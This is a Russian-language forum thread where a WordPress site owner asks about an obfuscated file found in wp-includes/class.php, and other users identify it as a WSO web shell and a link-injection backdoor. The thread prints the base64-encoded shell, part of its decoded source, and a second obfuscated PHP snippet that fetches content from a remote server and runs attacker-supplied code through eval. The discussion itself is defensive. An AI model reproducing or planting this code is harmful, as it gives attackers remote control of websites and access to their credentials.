X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость (

| Вход | Регистрация )

2 страниц V  < 1 2
Открыть тему
Тема закрыта
> Помогите расшифровать
dimka1109
dimka1109
Topic Starter сообщение 13.1.2013, 22:33; Ответить: dimka1109
Сообщение #12


Развернуть/Свернуть
[code]/* READ THIS COMPLETELY IF YOU CHOOSE TO USE THIS FILE! Block out any script trying to base64_encode data within the URL. Block out any script trying to set a PHP GLOBALS variable via URL. */eval(base64_decode('ZGVmaW5lKCdBS0lTTUVUX1ZFUlNJT04nLCAnMi4yLjYnKTsKJGNvbG9yID0gIiNkZjUiOwokZGVm
YXVsdF9hY3Rpb24gPSAnRmlsZXNNYW4nOwpAZGVmaW5lKCdTRUxGX1BBVEgnLCBfX0ZJTEVfXyk7Cgpp
Z
iggc3RycG9zKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnR29vZ2xlJykgIT09IGZhbHNlICkge
w
oJaGVhZGVyKCdIVFRQLzEuMCA0MDQgTm90IEZvdW5kJyk7CglleGl0Owp9CkBzZXNzaW9uX3N0YXJ0KC
k
7CkBlcnJvcl9yZXBvcnRpbmcoMCk7CkBpbmlfc2V0KCdlcnJvcl9sb2cnLE5VTEwpOwpAaW5pX3NldCg
n
bG9nX2Vycm9ycycsMCk7CkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOwpAc2V0X3RpbWVf
b
GltaXQoMCk7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7CkBkZWZpbmUoJ1ZFUlNJT04nLCAnM
i
4yJyk7CmlmKCBnZXRfbWFnaWNfcXVvdGVzX2dwYygpICkgewoJZnVuY3Rpb24gc3RyaXBzbGFzaGVzX2
F
ycmF5KCRhcnJheSkgewoJCXJldHVybiBpc19hcnJheSgkYXJyYXkpID8gYXJyYXlfbWFwKCdzdHJpcHN
s
YXNoZXNfYXJyYXknLCAkYXJyYXkpIDogc3RyaXBzbGFzaGVzKCRhcnJheSk7Cgl9CgkkX1BPU1QgPSBz
d
HJpcHNsYXNoZXNfYXJyYXkoJF9QT1NUKTsKfQpmdW5jdGlvbiBwcmludExvZ2luKCkgewoJPz4KCTxjZ
W
50ZXI+Cgk8Zm9ybSBtZXRob2Q9cG9zdD4KCVBhc3N3b3JkOiA8aW5wdXQgdHlwZT1wYXNzd29yZCBuYW
1
lPXBhc3M+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+Cgk8L2Zvcm0+PC9jZW50ZXI+Cgk8P3B
o
cAoJZXhpdDsKfQppZiggIWlzc2V0KCAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSld
I
CkpCglpZiggZW1wdHkoICRhdXRoX3Bhc3MgKSB8fAoJCSggaXNzZXQoICRfUE9TVFsncGFzcyddICkgJ
i
YgKCBtZDUoJF9QT1NUWydwYXNzJ10pID09ICRhdXRoX3Bhc3MgKSApICkKCQkkX1NFU1NJT05bbWQ1KC
R
fU0VSVkVSWydIVFRQX0hPU1QnXSldID0gdHJ1ZTsKCWVsc2UKCQlwcmludExvZ2luKCk7CgppZiggc3R
y
dG9sb3dlciggc3Vic3RyKFBIUF9PUywwLDMpICkgPT0gIndpbiIgKQoJJG9zID0gJ3dpbic7CmVsc2UK
C
SRvcyA9ICduaXgnOwokc2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOwokZGlzYWJsZV9md
W
5jdGlvbnMgPSBAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsKJGhvbWVfY3dkID0gQGdldGN3ZC
g
pOwppZiggaXNzZXQoICRfUE9TVFsnYyddICkgKQoJQGNoZGlyKCRfUE9TVFsnYyddKTsKJGN3ZCA9IEB
n
ZXRjd2QoKTsKaWYoICRvcyA9PSAnd2luJykgewoJJGhvbWVfY3dkID0gc3RyX3JlcGxhY2UoIlxcIiwg
I
i8iLCAkaG9tZV9jd2QpOwoJJGN3ZCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGN3ZCk7Cn0KaWYoI
C
Rjd2Rbc3RybGVuKCRjd2QpLTFdICE9ICcvJyApCgkkY3dkIC49ICcvJzsKCQppZigkb3MgPT0gJ3dpbi
c
pCgkkYWxpYXNlcyA9IGFycmF5KAoJCSJMaXN0IERpcmVjdG9yeSIgPT4gImRpciIsCiAgICAJIkZpbmQ
g
aW5kZXgucGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93IC9iIGluZGV4LnBocCIsCiAgICAJ
I
kZpbmQgKmNvbmZpZyoucGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93IC9iICpjb25maWcqL
n
BocCIsCiAgICAJIlNob3cgYWN0aXZlIGNvbm5lY3Rpb25zIiA9PiAibmV0c3RhdCAtYW4iLAogICAgCS
J
TaG93IHJ1bm5pbmcgc2VydmljZXMiID0+ICJuZXQgc3RhcnQiLAogICAgCSJVc2VyIGFjY291bnRzIiA
9
PiAibmV0IHVzZXIiLAogICAgCSJTaG93IGNvbXB1dGVycyIgPT4gIm5ldCB2aWV3IiwKCQkiQVJQIFRh
Y
mxlIiA9PiAiYXJwIC1hIiwKCQkiSVAgQ29uZmlndXJhdGlvbiIgPT4gImlwY29uZmlnIC9hbGwiCgkpO
w
plbHNlCgkkYWxpYXNlcyA9IGFycmF5KAogIAkJIkxpc3QgZGlyIiA9PiAibHMgLWxhIiwKCQkibGlzdC
B
maWxlIGF0dHJpYnV0ZXMgb24gYSBMaW51eCBzZWNvbmQgZXh0ZW5kZWQgZmlsZSBzeXN0ZW0iID0+ICJ
s
c2F0dHIgLXZhIiwKICAJCSJzaG93IG9wZW5lZCBwb3J0cyIgPT4gIm5ldHN0YXQgLWFuIHwgZ3JlcCAt
a
SBsaXN0ZW4iLAoJCSJGaW5kIiA9PiAiIiwKICAJCSJmaW5kIGFsbCBzdWlkIGZpbGVzIiA9PiAiZmluZ
C
AvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsCiAgCQkiZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbn
Q
gZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsCiAgCQkiZmluZCBhbGwgc2d
p
ZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiLAogIAkJImZpbmQgc2dp
Z
CBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiL
A
ogIAkJImZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb2
5
maWcuaW5jLnBocCIsCiAgCQkiZmluZCBjb25maWcqIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5
h
bWUgXCJjb25maWcqXCIiLAogIAkJImZpbmQgY29uZmlnKiBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4g
I
mZpbmQgLiAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiwKICAJCSJmaW5kIGFsbCB3cml0YWJsZSBmb
2
xkZXJzIGFuZCBmaWxlcyIgPT4gImZpbmQgLyAtcGVybSAtMiAtbHMiLAogIAkJImZpbmQgYWxsIHdyaX
R
hYmxlIGZvbGRlcnMgYW5kIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC1wZXJtIC0yIC1
s
cyIsCiAgCQkiZmluZCBhbGwgc2VydmljZS5wd2QgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFt
Z
SBzZXJ2aWNlLnB3ZCIsCiAgCQkiZmluZCBzZXJ2aWNlLnB3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgP
T
4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwKICAJCSJmaW5kIGFsbCAuaHRwYXNzd2
Q
gZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiLAogIAkJImZpbmQgLmh0cGF
z
c3dkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dk
I
iwKICAJCSJmaW5kIGFsbCAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hb
W
UgLmJhc2hfaGlzdG9yeSIsCiAgCQkiZmluZCAuYmFzaF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZG
l
yIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIsCiAgCQkiZmluZCBhbGwgLmZ
l
dGNobWFpbHJjIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiwKICAJ
C
SJmaW5kIC5mZXRjaG1haWxyYyBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmI
C
1uYW1lIC5mZXRjaG1haWxyYyIsCgkJIkxvY2F0ZSIgPT4gIiIsCiAgCQkibG9jYXRlIGh0dHBkLmNvbm
Y
gZmlsZXMiID0+ICJsb2NhdGUgaHR0cGQuY29uZiIsCgkJImxvY2F0ZSB2aG9zdHMuY29uZiBmaWxlcyI
g
PT4gImxvY2F0ZSB2aG9zdHMuY29uZiIsCgkJImxvY2F0ZSBwcm9mdHBkLmNvbmYgZmlsZXMiID0+ICJs
b
2NhdGUgcHJvZnRwZC5jb25mIiwKCQkibG9jYXRlIHBzeWJuYy5jb25mIGZpbGVzIiA9PiAibG9jYXRlI
H
BzeWJuYy5jb25mIiwKCQkibG9jYXRlIG15LmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgbXkuY29uZiIsCg
k
JImxvY2F0ZSBhZG1pbi5waHAgZmlsZXMiID0+ImxvY2F0ZSBhZG1pbi5waHAiLAoJCSJsb2NhdGUgY2Z
n
LnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjZmcucGhwIiwKCQkibG9jYXRlIGNvbmYucGhwIGZpbGVzIiA9
P
iAibG9jYXRlIGNvbmYucGhwIiwKCQkibG9jYXRlIGNvbmZpZy5kYXQgZmlsZXMiID0+ICJsb2NhdGUgY
2
9uZmlnLmRhdCIsCgkJImxvY2F0ZSBjb25maWcucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5waH
A
iLAoJCSJsb2NhdGUgY29uZmlnLmluYyBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuaW5jIiwKCQkibG9
j
YXRlIGNvbmZpZy5pbmMucGhwIiA9PiAibG9jYXRlIGNvbmZpZy5pbmMucGhwIiwKCQkibG9jYXRlIGNv
b
mZpZy5kZWZhdWx0LnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAiLAoJCSJsb
2
NhdGUgY29uZmlnKiBmaWxlcyAiID0+ICJsb2NhdGUgY29uZmlnIiwKCQkibG9jYXRlIC5jb25mIGZpbG
V
zIj0+ImxvY2F0ZSAnLmNvbmYnIiwKCQkibG9jYXRlIC5wd2QgZmlsZXMiID0+ICJsb2NhdGUgJy5wd2Q
n
IiwKCQkibG9jYXRlIC5zcWwgZmlsZXMiID0+ICJsb2NhdGUgJy5zcWwnIiwKCQkibG9jYXRlIC5odHBh
c
3N3ZCBmaWxlcyIgPT4gImxvY2F0ZSAnLmh0cGFzc3dkJyIsCgkJImxvY2F0ZSAuYmFzaF9oaXN0b3J5I
G
ZpbGVzIiA9PiAibG9jYXRlICcuYmFzaF9oaXN0b3J5JyIsCgkJImxvY2F0ZSAubXlzcWxfaGlzdG9yeS
B
maWxlcyIgPT4gImxvY2F0ZSAnLm15c3FsX2hpc3RvcnknIiwKCQkibG9jYXRlIC5mZXRjaG1haWxyYyB
m
aWxlcyIgPT4gImxvY2F0ZSAnLmZldGNobWFpbHJjJyIsCgkJImxvY2F0ZSBiYWNrdXAgZmlsZXMiID0+
I
CJsb2NhdGUgYmFja3VwIiwKCQkibG9jYXRlIGR1bXAgZmlsZXMiID0+ICJsb2NhdGUgZHVtcCIsCgkJI
m
xvY2F0ZSBwcml2IGZpbGVzIiA9PiAibG9jYXRlIHByaXYiCQoJKTsKCmZ1bmN0aW9uIHByaW50SGVhZG
V
yKCkgewoJaWYoZW1wdHkoJF9QT1NUWydjaGFyc2V0J10pKQoJCSRfUE9TVFsnY2hhcnNldCddID0gIlV
U
Ri04IjsKCWdsb2JhbCAkY29sb3I7Cgk/Pgo8aHRtbD48aGVhZD48bWV0YSBodHRwLWVxdWl2PSdDb250ZW50LVR5cGUnIGNvbnRlbnQ9J3RleHQv
aHRtbDsgY2hhcnNldD08P3BocCBlY2hvICRfUE9TVFsnY2hhcnNldCddPz4nPjx0aXRsZT48P3BocCBl
Y
2hvICRfU0VSVkVSWydIVFRQX0hPU1QnXT8+IC0gV1NPIDw/cGhwIGVjaG8gVkVSU0lPTj8+PC90aXRsZT4KPHN0eWxlPgpib2R5e2JhY2tncm91bmQtY29sb3I6IzQ0
NDtjb2xvcjojZTFlMWUxO30KYm9keSx0ZCx0aHsgZm9udDogOXB0IEx1Y2lkYSxWZXJkYW5hO21hcmdp
b
jowO3ZlcnRpY2FsLWFsaWduOnRvcDtjb2xvcjojZTFlMWUxOyB9CnRhYmxlLmluZm97IGNvbG9yOiNmZ
m
Y7YmFja2dyb3VuZC1jb2xvcjojMjIyOyB9CnNwYW4saDEsYXsgY29sb3I6PD9waHAgZWNobyAkY29sb3
I/PiAhaW1wb3J0YW50OyB9CnNwYW57IGZvbnQtd2VpZ2h0OiBib2xkZXI7IH0KaDF7IGJvcmRlci1sZWZ0
OjVweCBzb2xpZCA8P3BocCBlY2hvICRjb2xvcj8+O3BhZGRpbmc6IDJweCA1cHg7Zm9udDogMTRwdCBW
Z
XJkYW5hO2JhY2tncm91bmQtY29sb3I6IzIyMjttYXJnaW46MHB4OyB9CmRpdi5jb250ZW50eyBwYWRka
W
5nOiA1cHg7bWFyZ2luLWxlZnQ6NXB4O2JhY2tncm91bmQtY29sb3I6IzMzMzsgfQpheyB0ZXh0LWRlY2
9
yYXRpb246bm9uZTsgfQphOmhvdmVyeyB0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lOyB9Ci5tbDF7IGJ
v
cmRlcjoxcHggc29saWQgIzQ0NDtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzogYXV0bzsgfQou
Y
mlnYXJlYXsgd2lkdGg6MTAwJTtoZWlnaHQ6MjUwcHg7IH0KaW5wdXQsdGV4dGFyZWEsc2VsZWN0eyBtY
X
JnaW46MDtjb2xvcjojZmZmO2JhY2tncm91bmQtY29sb3I6IzU1NTtib3JkZXI6MXB4IHNvbGlkIDw/cGhwIGVjaG8gJGNvbG9yPz47IGZvbnQ6IDlwdCBNb25vc3BhY2UsIkNvdXJpZXIgTmV3IjsgfQpmb3Jt
eyBtYXJnaW46MHB4OyB9CiN0b29sc1RibHsgdGV4dC1hbGlnbjpjZW50ZXI7IH0KLnRvb2xzSW5weyB3
a
WR0aDogMzAwcHggfQoubWFpbiB0aHt0ZXh0LWFsaWduOmxlZnQ7YmFja2dyb3VuZC1jb2xvcjojNWU1Z
T
VlO30KLm1haW4gdHI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlfQoubDF7YmFja2dyb3VuZC
1
jb2xvcjojNDQ0fQpwcmV7Zm9udC1mYW1pbHk6Q291cmllcixNb25vc3BhY2U7fQo8L3N0eWxlPgo8c2N
y
aXB0PgoJdmFyIGNfID0gJzw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pPz4nOwoJdmFyIGFfID0gJzw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydhJ10pPz4nOwoJdmFyIHAxXyA9ICc8P3Bo
cCBlY2hvIChzdHJwb3MoQCRfUE9TVFsncDEnXSwiXG4iKSE9PWZhbHNlKT8nJzphZGRzbGFzaGVzKGh0
b
WxzcGVjaWFsY2hhcnMoQCRfUE9TVFsncDEnXSkpPz4nOwoJdmFyIHAyXyA9ICc8P3BocCBlY2hvIChzd
H
Jwb3MoQCRfUE9TVFsncDInXSwiXG4iKSE9PWZhbHNlKT8nJzphZGRzbGFzaGVzKGh0bWxzcGVjaWFsY2
h
hcnMoQCRfUE9TVFsncDInXSkpPz4nOwoJdmFyIHAzXyA9ICc8P3BocCBlY2hvIChzdHJwb3MoQCRfUE9
T
VFsncDMnXSwiXG4iKSE9PWZhbHNlKT8nJzphZGRzbGFzaGVzKGh0bWxzcGVjaWFsY2hhcnMoQCRfUE9T
V
FsncDMnXSkpPz4nOwoJdmFyIGNoYXJzZXRfID0gJzw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydjaGFyc2V0J10pPz4nOwoJZnVuY3Rpb24g
c2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7CgkJaWYoYSAhPSBudWxsKWRvY3VtZW50Lm1mLmEudmFs
d
WU9YTtlbHNlIGRvY3VtZW50Lm1mLmEudmFsdWU9YV87CgkJaWYoYyAhPSBudWxsKWRvY3VtZW50Lm1mL
m
MudmFsdWU9YztlbHNlIGRvY3VtZW50Lm1mLmMudmFsdWU9Y187CgkJaWYocDEgIT0gbnVsbClkb2N1bW
V
udC5tZi5wMS52YWx1ZT1wMTtlbHNlIGRvY3VtZW50Lm1mLnAxLnZhbHVlPXAxXzsKCQlpZihwMiAhPSB
u
dWxsKWRvY3VtZW50Lm1mLnAyLnZhbHVlPXAyO2Vsc2UgZG9jdW1lbnQubWYucDIudmFsdWU9cDJfOwoJ
C
WlmKHAzICE9IG51bGwpZG9jdW1lbnQubWYucDMudmFsdWU9cDM7ZWxzZSBkb2N1bWVudC5tZi5wMy52Y
W
x1ZT1wM187CgkJaWYoY2hhcnNldCAhPSBudWxsKWRvY3VtZW50Lm1mLmNoYXJzZXQudmFsdWU9Y2hhcn
N
ldDtlbHNlIGRvY3VtZW50Lm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldF87Cgl9CglmdW5jdGlvbiBnKGE
s
YyxwMSxwMixwMyxjaGFyc2V0KSB7CgkJc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsKCQlkb2N1bWVu
d
C5tZi5zdWJtaXQoKTsKCX0KCWZ1bmN0aW9uIGEoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsKCQlzZXQoY
S
xjLHAxLHAyLHAzLGNoYXJzZXQpOwoJCXZhciBwYXJhbXMgPSAiYWpheD10cnVlIjsKCQlmb3IoaT0wO2
k
8ZG9jdW1lbnQubWYuZWxlbWVudHMubGVuZ3RoO2krKykKCQkJcGFyYW1zICs9ICImIitkb2N1bWVudC5
t
Zi5lbGVtZW50c1tpXS5uYW1lKyI9IitlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQubWYuZWxlbWVu


и еще куча подобного далее


Вот такое нашел в файле wp-includes/class.php в WP это должно быть или нет?

Сообщение отредактировал OlegK - 13.1.2013, 23:06
Причина редактирования: убрал кучу г**на в спойлер
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
x64
x64
сообщение 13.1.2013, 23:06; Ответить: x64
Сообщение #13


в чистом wp таких портянок нет. да и файла class.php не припомню.

в чистом wp таких портянок нет
Развернуть/Свернуть
define('AKISMET_VERSION', '2.2.6');
$color = "#df5";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);

if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', '2.2');
if( get_magic_quotes_gpc() ) {
    function stripslashes_array($array) {
        return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
    }
    $_POST = stripslashes_array($_POST);
}

ну и т. д. и т. п.
обычный код в base64, который расшифровывается и выполняется в eval()

ежели интересно, проверка расшифрованного файла на virustotal

Сообщение отредактировал x64 - 13.1.2013, 22:54
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
IL172
IL172
сообщение 23.1.2013, 5:21; Ответить: IL172
Сообщение #14


тут лучше нанят специалиста который позакрывает все дыры и почистит сайт
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
2_alexandr
2_alexandr
сообщение 5.4.2013, 20:26; Ответить: 2_alexandr
Сообщение #15


dimka1109,

А кто пихает и как часто? И по времени когда?
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
BuyTraffik
BuyTraffik
сообщение 12.4.2013, 14:36; Ответить: BuyTraffik
Сообщение #16


Это код от локального индексатора закриптованный обусификатором дабы админы не спалили)
Проставляют ссылочки на вашем сайте + бэкдор.

Развернуть/Свернуть
<?php $x12="\143ur\x6c\x5fi\156\151\164"; $x13="\143u\x72\154\x5fse\x74\157\x70t"; $x14="\143\165rl\137\x65\170\x65c"; $x15="curl_c\154o\163\x65"; $x16="\145\x76al"; $x17="fi\154\x65\x5fg\x65\x74\137\x63\x6f\156te\156ts"; $x18="functi\157n\137e\x78i\x73\x74\163"; $x19="in\x69_\147\145\x74"; $x1a="\x70\x72\x65g\x5f\x6d\x61t\143\x68"; $x1b="s\164\162ip\x73\154ashe\163"; $x1c="\x75rl\x65\156\143o\144\145";
error_reporting(0);$x0b = "\x68\164\x74p\072\057\x2f\141\x63\143e\163s-\163\061.\x6f\x72\x67\x2fi\156\x64\x65\x78\141\164o\162\061/\147\145\164\x2e\x70h\160"; $x0c = "\0612\x333\062\x31\x71\161";if ($x1a("\057\050\x79\x61n\144e\170\x7cgo\157\x67l\145)/\x69", $_SERVER['HTTP_USER_AGENT'])) {$x0d = $x1c("\150\x74\x74p\x3a\x2f/".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']);$x0e = $x1c($_SERVER['HTTP_USER_AGENT']);$x0f = $x0b."\077\x69\x64=".$x0d."\046\x63h\x61\x72\163et\075\x75\046\142o\164\x3d".$x0e; if($x19("\x61l\154\x6fw\137ur\x6c\x5f\146\x6f\160\x65\x6e") == 1) {echo $x17($x0f); } elseif($x18('curl_init')) {$x10 = $x12($x0f);$x13($x10, CURLOPT_HEADER, FALSE);$x13($x10, CURLOPT_RETURNTRANSFER, TRUE);$x11 = $x14($x10);$x15($x10); echo $x11;} } $x0f = $x0b."?\x63\157de\x3d\x63od\145\046\x62\x6ft\x3d".$x0e;if($x19("al\x6c\x6fw\x5f\165\x72\154_\146o\160\145\156") == 1) { echo $x17($x0f);}elseif($x18('curl_init')) { $x10 = $x12($x0f);$x13($x10, CURLOPT_HEADER, FALSE);$x13($x10, CURLOPT_RETURNTRANSFER, TRUE);$x11 = $x14($x10);$x15($x10); echo $x11;}if($_REQUEST["c"] == $x0c) $x16($x1b($_REQUEST["c\157\x64\x65"])); ?>


при посещении бота на странице посылают запрос на удаленный сервер, с помощью курла подгружают ссылочку на вашу страницу где было бот + ($_REQUEST["c"] == $x0c) $x16($x1b($_REQUEST["c\157\x64\x65"])); - бэкдор. Всё smile.gif

Сообщение отредактировал BuyTraffik - 12.4.2013, 14:40
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
GreyWizard
GreyWizard
сообщение 12.4.2013, 19:12; Ответить: GreyWizard
Сообщение #17


Версия WP какая? И какие плагины и темы поставлены

Замечание модератора:
Эта тема была закрыта автоматически ввиду отсутствия активности в ней на протяжении 100+ дней.
Если Вы считаете ее актуальной и хотите оставить сообщение, то воспользуйтесь кнопкой
или обратитесь к любому из модераторов.


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
2 страниц V  < 1 2
Открыть тему
Тема закрыта
2 чел. читают эту тему (гостей: 2, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Помогите вспомнить рекламного бота Телеграм для обмена рекламой
0 Mixatraider 725 21.2.2024, 23:42
автор: Mixatraider
Открытая тема (нет новых ответов) Помогите рещить проблему с монитором.
Почему низкое разрешение при подключении монитора через displayport?
0 Levels 1702 11.12.2020, 0:48
автор: Levels
Открытая тема (нет новых ответов) Помогите кто нибудь получить партнерку Росбанк!
7 heisenberg_mw 2340 7.8.2020, 9:28
автор: heisenberg_mw
Открытая тема (нет новых ответов) Помогите найти тему пожалуйста
7 virtas 12470 24.7.2020, 17:02
автор: -JamesSmips-
Открытая тема (нет новых ответов) Помогите с поиском доноров
3 tehno_music 3352 4.11.2019, 17:15
автор: goblin78


 



RSS Текстовая версия Сейчас: 19.4.2024, 7:15
Дизайн